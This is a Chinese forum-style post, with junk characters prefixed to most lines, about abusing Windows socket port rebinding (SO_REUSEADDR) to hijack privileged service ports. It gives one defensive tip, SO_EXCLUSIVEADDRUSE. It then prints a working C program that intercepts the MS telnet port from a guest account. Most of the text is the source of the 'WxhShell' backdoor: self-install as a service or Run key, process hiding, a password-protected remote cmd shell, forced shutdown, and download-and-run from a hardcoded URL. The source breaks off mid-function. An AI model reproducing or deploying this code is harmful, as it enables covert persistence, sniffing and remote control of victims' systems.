在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8b|m6 6#| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/4Sul*{hc @wTRoMHPQ saddr.sin_family = AF_INET;
2tMa4L%@C ^@-qnU lH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Y-
tK 0ZJN<AzbA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V }wh p9Y`_g` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>U#j\2!Sg +9NI=s6 这意味着什么?意味着可以进行如下的攻击:
R-]i BL _s~F/G`iT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+*=?0 \ dz"HO!9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{^N90,! 5X}OUn8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&m~ d$<1Ma} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b l]YPx8 ]%<0V,G
q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@D2KDV3' PESJ7/^E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
G&\!!i|IQ qYbPF|Y=Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<xaB$}R $[HpY)MSRw #include
Q^|aix~ K #include
G1S:hw%rp #include
;_D5]kl` #include
pWN5 >HV DWORD WINAPI ClientThread(LPVOID lpParam);
n1@ Or=5 int main()
Mw{skK>b {
-z?O^:e#x WORD wVersionRequested;
Mb\[` 4z DWORD ret;
e*/ya 8p? WSADATA wsaData;
BDc "0XH BOOL val;
c
6$n: SOCKADDR_IN saddr;
kOLS<>. SOCKADDR_IN scaddr;
0qk.NPMB0 int err;
9
?(P?H SOCKET s;
Sp~gY]: SOCKET sc;
fud Lm int caddsize;
fS- 31<? HANDLE mt;
h@D</2> DWORD tid;
nk+*M9r|I wVersionRequested = MAKEWORD( 2, 2 );
xyaU!E* err = WSAStartup( wVersionRequested, &wsaData );
QP[`*X if ( err != 0 ) {
~glFB`?[ printf("error!WSAStartup failed!\n");
1`I#4f return -1;
Oo`b#!L }
ealh>Y saddr.sin_family = AF_INET;
n 7m! gA~faje //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i \u"+:j ^`Qh*:T$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&xjeZh4- saddr.sin_port = htons(23);
&Vi0.o
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!e(ZEV g {
#Cz6c%yK printf("error!socket failed!\n");
ey3;rY1 return -1;
hXM2B2[ }
MESPfS+ val = TRUE;
A}Gj;vaw //SO_REUSEADDR选项就是可以实现端口重绑定的
^p !4`S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o]@g%_3X {
m8ydX6~max printf("error!setsockopt failed!\n");
EL=}xug,? return -1;
?$\y0lHw/7 }
O-K!Bv^
Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
uH?lj& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4,g3 c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
x1ID6kI[{* ky5 gU[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|
QI-gw {
uyDYS ret=GetLastError();
4!r>
^a printf("error!bind failed!\n");
;r
XhK$ return -1;
%D:5 S?{ }
4uUR2J listen(s,2);
q{t"=@lX01 while(1)
`O/RNMaC {
-!p-nk@9| caddsize = sizeof(scaddr);
,9;d"ce //接受连接请求
-?Aa RwZ, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*cn#W]AE if(sc!=INVALID_SOCKET)
7OOod1 {
tHo0q<.oX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CJNz J( if(mt==NULL)
%1p4K) {
|uE_aFQs printf("Thread Creat Failed!\n");
Pf]O'G&F break;
4MOA}FZ~ }
,.+"10=N. }
TAu*lL(F CloseHandle(mt);
Ev\kq>2O }
umWZ]8 closesocket(s);
W<uL{k.Kpd WSACleanup();
6}6ky9 return 0;
]m(5>h# }
y[!4M+jj DWORD WINAPI ClientThread(LPVOID lpParam)
4';]fmf@[i {
fKY1=3 SOCKET ss = (SOCKET)lpParam;
~-w SOCKET sc;
<#9zc'ED: unsigned char buf[4096];
4IYC;J2L SOCKADDR_IN saddr;
K!9rH>`\ long num;
|V|)cPQ DWORD val;
d4P0f'.z DWORD ret;
8c'0"G@S //如果是隐藏端口应用的话,可以在此处加一些判断
|k4ZTr]? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
db!2nImNu\ saddr.sin_family = AF_INET;
}PY?
ZG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aUy=D:\ saddr.sin_port = htons(23);
OQh36BM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{&c%VVZb:Z {
~;;_POm printf("error!socket failed!\n");
O:a$ U:
return -1;
/z4xq'< }
xIo7f val = 100;
VrokEK*qbY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;v6e2NacM' {
Eu
)7@ ret = GetLastError();
XjwTjgL< return -1;
u[jdYWQa }
2r~ Nh]( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<>JDA(F" {
>gr6H1 ret = GetLastError();
'Sc3~lm(dH return -1;
GSW{h[Op }
'}5}wCLA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ZtEHP`Iin
{
HC8{); printf("error!socket connect failed!\n");
ZX.VzZS closesocket(sc);
!+M H?A closesocket(ss);
Dg#A b8 return -1;
#V8='qD
}
^tuJM: while(1)
ANCgch\ {
%;zWS/JhL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7q|(ZZa //如果是嗅探内容的话,可以再此处进行内容分析和记录
DZXv3gnX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
nu$LWC- num = recv(ss,buf,4096,0);
`z3?ET if(num>0)
P
N_QK Z send(sc,buf,num,0);
Y#6@0Nn[G else if(num==0)
^ D
B0C break;
T"Q4vk,3*J num = recv(sc,buf,4096,0);
l{Hi5x'H if(num>0)
{F
k]X#j send(ss,buf,num,0);
"MXd! else if(num==0)
)}c$n break;
Vb 4Qt#o }
]'_z(s} closesocket(ss);
US7hK Nm. closesocket(sc);
_jZDSz|Yb return 0 ;
-lMC{~h\(S }
nwN<Q\]S KX<RD|= SQ5*?u\ ==========================================================
}
2)s% D2!ww{t 下边附上一个代码,,WXhSHELL
!4jS=Lhe> fV}\ ==========================================================
%e%nsj6 JZL!(>tI #include "stdafx.h"
@;<w"j`r ]jHB'Y #include <stdio.h>
317Buk #include <string.h>
1}8e@`G0.] #include <windows.h>
NE9e brK #include <winsock2.h>
v!F(DP.)Z #include <winsvc.h>
Ir\3c9 #include <urlmon.h>
.<42-IEc p]+W1 v}V! #pragma comment (lib, "Ws2_32.lib")
z7P PwTBa #pragma comment (lib, "urlmon.lib")
<tF]>(|M T"d]QYJS #define MAX_USER 100 // 最大客户端连接数
\\)-[4uC #define BUF_SOCK 200 // sock buffer
/2HwK/RZ #define KEY_BUFF 255 // 输入 buffer
S|]~,l2]} Gs?W7}<$ #define REBOOT 0 // 重启
,(`@ZFp$ #define SHUTDOWN 1 // 关机
RL&3 P@r I;-{#OE, #define DEF_PORT 5000 // 监听端口
nLtP^
1~9H cR5<.$aY #define REG_LEN 16 // 注册表键长度
KH
KqE6 #define SVC_LEN 80 // NT服务名长度
>; W)tc, Y,(eu*Za // 从dll定义API
DR0W)K
^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
FxZ\)Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
uEi!P2zN
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Uero!+_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ao-C9|2>NU mG@Q}Y( // wxhshell配置信息
*Nt6 Ufq6 struct WSCFG {
4UL-j int ws_port; // 监听端口
i2j)%Gc} char ws_passstr[REG_LEN]; // 口令
n)K6Z{x int ws_autoins; // 安装标记, 1=yes 0=no
AN~1E@" char ws_regname[REG_LEN]; // 注册表键名
6U/wFT!7$ char ws_svcname[REG_LEN]; // 服务名
C6P6 hJm char ws_svcdisp[SVC_LEN]; // 服务显示名
sG VC+!E char ws_svcdesc[SVC_LEN]; // 服务描述信息
/BIPLDN6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
If&p$pAH? int ws_downexe; // 下载执行标记, 1=yes 0=no
C3_*o>8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M}5 C;E* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gN]`$==c[ MW$9,[ };
}dXL= ul v%FVz // default Wxhshell configuration
r\NnWS J struct WSCFG wscfg={DEF_PORT,
J5o"JRJ" "xuhuanlingzhe",
Ti)n(G9$ 1,
0"QE,pLe4 "Wxhshell",
7CIje=u.q "Wxhshell",
Zwt!nh "WxhShell Service",
8%|x) "Wrsky Windows CmdShell Service",
'QV4=h` "Please Input Your Password: ",
~0}eNz* 1,
'qM3.U "
http://www.wrsky.com/wxhshell.exe",
q(r2\ "Wxhshell.exe"
Ka{Iue Ss };
R#ZDB]2 ~clWG-i // 消息定义模块
=[k9{cVW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#YNb&K
n char *msg_ws_prompt="\n\r? for help\n\r#>";
I0ie3ESdN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cu"%>>,, char *msg_ws_ext="\n\rExit.";
m:41zoV char *msg_ws_end="\n\rQuit.";
PLY7qMw char *msg_ws_boot="\n\rReboot...";
3|?fGT;P char *msg_ws_poff="\n\rShutdown...";
*m"mt char *msg_ws_down="\n\rSave to ";
O:x=yj%^ 8zGzn%^ char *msg_ws_err="\n\rErr!";
82=][9d # char *msg_ws_ok="\n\rOK!";
95<:-?4C;W RTU:J67E char ExeFile[MAX_PATH];
o+t?OG/0 int nUser = 0;
M)xK+f2_[ HANDLE handles[MAX_USER];
evs2dz<eA int OsIsNt;
-( iJ< p>zE/Pw~ SERVICE_STATUS serviceStatus;
p&\uF#I;
SERVICE_STATUS_HANDLE hServiceStatusHandle;
B 3h<K} m,KY_1%M // 函数声明
vP?yl "U int Install(void);
M`<D Z<:< int Uninstall(void);
-?(RoWv@X& int DownloadFile(char *sURL, SOCKET wsh);
wLO/2V}/ int Boot(int flag);
/0c&!OP void HideProc(void);
_NkN3f5 1L int GetOsVer(void);
4J_%quxO int Wxhshell(SOCKET wsl);
Rk=B; void TalkWithClient(void *cs);
z%KChU int CmdShell(SOCKET sock);
qb<gh D=j int StartFromService(void);
s_[?(Ip{ int StartWxhshell(LPSTR lpCmdLine);
4Klfnki QXz!1o+" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<#Lw.;(U;k VOID WINAPI NTServiceHandler( DWORD fdwControl );
h>/ViB@"W| /7#&qx8 // 数据结构和表定义
?4Lo"igAA SERVICE_TABLE_ENTRY DispatchTable[] =
1=X=jPwO C {
L8G4K) {wscfg.ws_svcname, NTServiceMain},
4{?x(~ {NULL, NULL}
9VByFQgM };
:1=?/8h c5;ROnTm // 自我安装
$>UzXhf}\ int Install(void)
-Gpj^aBU {
Dk-L4FS char svExeFile[MAX_PATH];
%FU[j^ HKEY key;
?MYD}`Cv strcpy(svExeFile,ExeFile);
la4,Z }rE|\p> // 如果是win9x系统,修改注册表设为自启动
GEA;9TU|V if(!OsIsNt) {
o7+/v70D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_~kcr5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i/~J0qQ RegCloseKey(key);
;x#>J +QlG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A-io-P7qyj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MH?B.2 RegCloseKey(key);
r Lh
h return 0;
=<05PB }
7q 2YsI }
.T|NB8 rS }
xD=D *W else {
=/;_7|ssd ,7(/Il9 // 如果是NT以上系统,安装为系统服务
`O{Uz?#*x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$-RhCnE if (schSCManager!=0)
"!tB";n {
Mb>XM7}PU SC_HANDLE schService = CreateService
="DgrH (
ttnXEF schSCManager,
3(:mRb} wscfg.ws_svcname,
?5Fj]Bk] wscfg.ws_svcdisp,
0Nu]N)H5<l SERVICE_ALL_ACCESS,
Cf7\>U-> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
x\rZoF.NQ SERVICE_AUTO_START,
UjaC( c SERVICE_ERROR_NORMAL,
~^S- svExeFile,
|DW'RopM NULL,
}WbN) NULL,
OK\%cq/U NULL,
XV>6;!=E NULL,
4m*(D5Y=| NULL
$<4Ar*i );
wM)w[ if (schService!=0)
I[UA' ~f {
|pqpF?h5| CloseServiceHandle(schService);
)US/bC!M$ CloseServiceHandle(schSCManager);
AG7}$O. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.;b>
T strcat(svExeFile,wscfg.ws_svcname);
uKy *N*} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6iG<"{/U5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ib_Gy77Os RegCloseKey(key);
kPH^X}O$ return 0;
{*<C!Qg }
>Gu0& }
1Ol]^'y7) CloseServiceHandle(schSCManager);
}|Tg_+ }
_6!/}Fm }
aS vE shT[|@"C return 1;
Y:,R7EO{! }
}i&dZTBGW dSVu_*y // 自我卸载
a*j <TR int Uninstall(void)
j9}0jC2Tb {
wsrx|n[] HKEY key;
V|\A? $>=Nb~t!/ if(!OsIsNt) {
DA$Q- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^Nw]'e3 RegDeleteValue(key,wscfg.ws_regname);
e@=[+iJc RegCloseKey(key);
7omGg~!k( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i4n
b# RegDeleteValue(key,wscfg.ws_regname);
Iv72;ZCh?6 RegCloseKey(key);
]7kGHIJ| return 0;
,6O9#1A&i }
@/~k8M/ }
k6'# }
1fW4=pF-K else {
uV_)JZW,L i*R:WTw# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m->%8{L if (schSCManager!=0)
id+m[']+ {
yH%+cmp7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lE)rRG+JLW if (schService!=0)
]HV~xD7\ {
=t$mbI if(DeleteService(schService)!=0) {
SU
O; CloseServiceHandle(schService);
P0 ltN CloseServiceHandle(schSCManager);
)O@^H return 0;
Y-q@~vZ] }
5
?~-Vv31s CloseServiceHandle(schService);
"42$AaS }
;b?+:L CloseServiceHandle(schSCManager);
v^W?o}W }
IIQ3|eZ }
v*~%x CY3 \:D0I return 1;
8[1DO1*P }
sN1*Zp'( :F>L;mp // 从指定url下载文件
s.;KVy,=Bu int DownloadFile(char *sURL, SOCKET wsh)
G^rh*cb K {
U.Chf9a- HRESULT hr;
*OOa)P{^D char seps[]= "/";
.8qzU47E char *token;
5Vnr"d char *file;
(U'7Fc char myURL[MAX_PATH];
z]l-?>Zbg char myFILE[MAX_PATH];
9Ir~X|}\iL y-<PsP-I strcpy(myURL,sURL);
B:- KZuO token=strtok(myURL,seps);
|369@un6 while(token!=NULL)
O\?5#. {
>9tkx/J file=token;
EkStb# token=strtok(NULL,seps);
3]`qnSYBv }
!|<f%UO *K jVPs GetCurrentDirectory(MAX_PATH,myFILE);
pmW6~%}* strcat(myFILE, "\\");
_X%6 +0M
strcat(myFILE, file);
H"FflmUO send(wsh,myFILE,strlen(myFILE),0);
I"cQ5gF?A send(wsh,"...",3,0);
x-V' 0-#U> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/ik)4]> if(hr==S_OK)
jO&f*rxN return 0;
E8iadf49 else
%<=vbL9 return 1;
9(^X2L&Z _N,KHxsG8B }
=o{: -EKQF 0(9I\j5`TT // 系统电源模块
~e`;"n@4 int Boot(int flag)
{7TJgS {
or!D HANDLE hToken;
ZU|V+yT TOKEN_PRIVILEGES tkp;
>OKS/(I0 &FJU%tFA if(OsIsNt) {
BBU84s[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
R5NRCI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7<R6T9g tkp.PrivilegeCount = 1;
C*{15!d:G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
##`;Eh0a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`FYtiv?G if(flag==REBOOT) {
cu479VzPx: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L^5&GcHP0 return 0;
@}&,W
N% }
uD ?I>7 else {
p9&gEW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^b"x|8 return 0;
OP|.I._I }
xyS2_Q }
o]|oAN9 else {
lrmt)BLoh if(flag==REBOOT) {
f>s#Ngvc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
KMpDlit return 0;
~b>nCP8q }
;Z!~A"~$> else {
'{j\0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ui.QYAYaV return 0;
]s*[Lib }
m0BG9~p| }
%/tGkS6 xS
H6n return 1;
pu2 wEQ }
9LqMQv"xW I*+LJy;j // win9x进程隐藏模块
V(lK`dY void HideProc(void)
gfdPx:7^ {
/^z/]!JG:V w
L/p.@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
k Z+ q if ( hKernel != NULL )
|iwM9oO% {
%S
>xSqX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_ bXVg3oDt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uGuc._}= FreeLibrary(hKernel);
Yn IM- }
~>N`<S mc0sdb,c$ return;
3ZW/$KP/ }
3xmiX{1e r%Q8)nEo // 获取操作系统版本
.\ ;l-U int GetOsVer(void)
f7_\).T {
L;.VEz! OSVERSIONINFO winfo;
-A~;MGY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z%Tq1O GetVersionEx(&winfo);
c ,h.`~{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O:`GL1{ve? return 1;
RQj`9F else
xVsa,EX b return 0;
LT,iS)dY+ }
a gmeiJT J+/}K>2# // 客户端句柄模块
vCy.CN$ int Wxhshell(SOCKET wsl)
lgCHGv2@ {
hb /8Q SOCKET wsh;
dAYI D E struct sockaddr_in client;
Dh\S`nfFq DWORD myID;
S\!
a"0$ }|Hw0z P. while(nUser<MAX_USER)
8Ehy9< {
G?Qe"4
. int nSize=sizeof(client);
L?3VyBE wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
l]a^"4L4`o if(wsh==INVALID_SOCKET) return 1;
lF;ziF
Z #.GI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
i#L6UKe:Q if(handles[nUser]==0)
_9Dn\=g closesocket(wsh);
.x)>f else
{&\J)oZ nUser++;
@K,2mhE~h }
pTa'.m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\b_-mnN" im_w+h%^ return 0;
^Ei*M0fF }
U=haXx4N cwH,l$ // 关闭 socket
,X9hl J void CloseIt(SOCKET wsh)
;eS;AHZ {
>%iu!H" closesocket(wsh);
%-@'CNP nUser--;
rtB|N- ExitThread(0);
t Y:G54d=_ }
hrJ$%U
+L`V[; // 客户端请求句柄
B8bvp:Ho| void TalkWithClient(void *cs)
iyA*JCD {
4/*]` Ep^B,;~ SOCKET wsh=(SOCKET)cs;
J>f
/u:. char pwd[SVC_LEN];
3q'K5}
_ char cmd[KEY_BUFF];
+O|_P`HBoI char chr[1];
]}nu9z< int i,j;
v
t^r1j EHH|4;P6 while (nUser < MAX_USER) {
:@:g*w2K r :fwrC if(wscfg.ws_passstr) {
P\D[n-& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
68vxI|EZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?~F]@2)5w //ZeroMemory(pwd,KEY_BUFF);
2"T8^r|U i=0;
98D{{j92 while(i<SVC_LEN) {
X?KGb{ Y
h^WTysBn // 设置超时
IL!BPFG w fd_set FdRead;
`y1BTe& struct timeval TimeOut;
aj&\CJ FD_ZERO(&FdRead);
@;||peU FD_SET(wsh,&FdRead);
1k!D0f3qb TimeOut.tv_sec=8;
h=X7,2/< TimeOut.tv_usec=0;
5T!&r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-6uH. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1t0bUf;(M i{<8
hLO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
! a86iHU pwd
=chr[0]; ot-(4Y
if(chr[0]==0xd || chr[0]==0xa) { Ly^E& ,)
pwd=0; X32RZ9y
break; 5\uNEs$T
} *}+R{
i++; L=d$"Q
} qv.[k<~a>
IJ hxE
// 如果是非法用户,关闭 socket MNkKy(Za
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '"Bex`
}
$`^H:Djr
DY$yiOH9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PqTYAN&F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b OW}"
uEBQoP2
while(1) { Xyb8u})p'
K3La9O)>
ZeroMemory(cmd,KEY_BUFF); +nU' ,E
Xfj)gPt}
// 自动支持客户端 telnet标准 kBrvl^D{5
j=0; `2pO5B50
while(j<KEY_BUFF) { #o"tMh!f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J09*v)L
cmd[j]=chr[0]; w(aUEWYL
if(chr[0]==0xa || chr[0]==0xd) { wUbmzP.
cmd[j]=0; wh9L(0
break; H(MB5
} #X4LLS]VV
j++; LOe4c0C6Ca
} QxKAXq@)i
P~&O4['<
// 下载文件 $Xf~# uH
if(strstr(cmd,"http://")) { h!QjpzQe
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x]H3Y3
if(DownloadFile(cmd,wsh)) ^GN5vT+:'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `hzd|GmX
else ] OUD5T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $H4=QVj6
} 6KVV z/
else { ki#y&{v9Be
K/DH
/
r
switch(cmd[0]) { #U\$@4D
t/ A:k
// 帮助 Pv#KmSA9
case '?': { VcP:}a< B\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Ez}k}aR<
break; GM:,CJ?
} 4>l0V<
// 安装 &/HoSj>HS
case 'i': { ;D:=XA%
if(Install()) )#C_mB$-#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S45'j(S=
else OthG7+eF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 61G|?Aax
break; -H4PRCDH
} {d8^@UL
// 卸载 k@7kNMl
case 'r': { !!9{U%s
if(Uninstall()) .-J`d=Krp
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
j|ozGO
else [;<<4k(nL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wI*Y{J
break; @ozm;
} qZ#!CPHS
// 显示 wxhshell 所在路径 : sFo
case 'p': { qv.n9 9?]
char svExeFile[MAX_PATH]; 0"4J"q]&
strcpy(svExeFile,"\n\r"); 5H~@^!7t
strcat(svExeFile,ExeFile); Dp^95V@
send(wsh,svExeFile,strlen(svExeFile),0); #iiwD|
break; $khrWiX
} O!/ekU|,r
// 重启 ,b$z!dvhl
case 'b': { Ac
J>$L)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1p~5h(jI
if(Boot(REBOOT)) )mj<{Td`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4zw]AYk+X
else { ,eDu$8J9
closesocket(wsh); <H!O:Mf_p
ExitThread(0); a"k'm}hVY$
} |"_ )zQ
break; )t5;d
} >n(F4C-pl
// 关机 TFYw
case 'd': { t]4!{~,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S3QaYq"v
if(Boot(SHUTDOWN)) 1}`2\3,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rJX\6{V!_
else { !F-sA: xq
closesocket(wsh); _;#9!"&
ExitThread(0); 2av*o~|J*:
} Zct!/u9 Q
break; I-TlrW=t
} <vL}l: r
// 获取shell f*v1J<1#
case 's': { {|Bd?U;
CmdShell(wsh); \,hrk~4U;(
closesocket(wsh); l`* ( f9Q
ExitThread(0); 4Q$!c{Y
r
break; h+5@I%WX
} LGAX"/LX
// 退出 pG~'shD~Dn
case 'x': { .ByU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b22LT52
CloseIt(wsh); pcNSL'u+
break; kwOeHdV^
} y^SyhG,V[
// 离开 eJW[ ] !
case 'q': { 4?
v,wq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,!hnm
closesocket(wsh); V+.Q0$~F5
WSACleanup(); \<=IMa0
exit(1); &lU Ny
L
break; RNvQ
} g[AA,@p+
} j!7Qw 8
} ZRPE-l_3:
my4\mi6P
// 提示信息 S{-f$Q*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2u y
} %Sul4: D#
} *<UGgnmLE
TH YVT%v
return; @"w2R$o
} v[smQO
VE*j*U
j
// shell模块句柄 _!%M%
int CmdShell(SOCKET sock) V!W1fb7V
{ (2d3jQN`
STARTUPINFO si; Hxn<(gd
G
ZeroMemory(&si,sizeof(si)); yZ5x88 >
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }f]b't
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M}u1qXa
PROCESS_INFORMATION ProcessInfo; oE6|Zw
char cmdline[]="cmd"; ?d~]Wd !z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -w\M-wc/$
return 0; ljuNs@q
} 5y040
N-
JdO)YlM-
// 自身启动模式 o(zTNk5d
int StartFromService(void) =!<^^6LZ
{ .$P|^Zx,
typedef struct b[yE~EQxr
{ `\ R{5TU
DWORD ExitStatus; F;-90w
DWORD PebBaseAddress; l=xt;c!
DWORD AffinityMask; ^EuW(
"
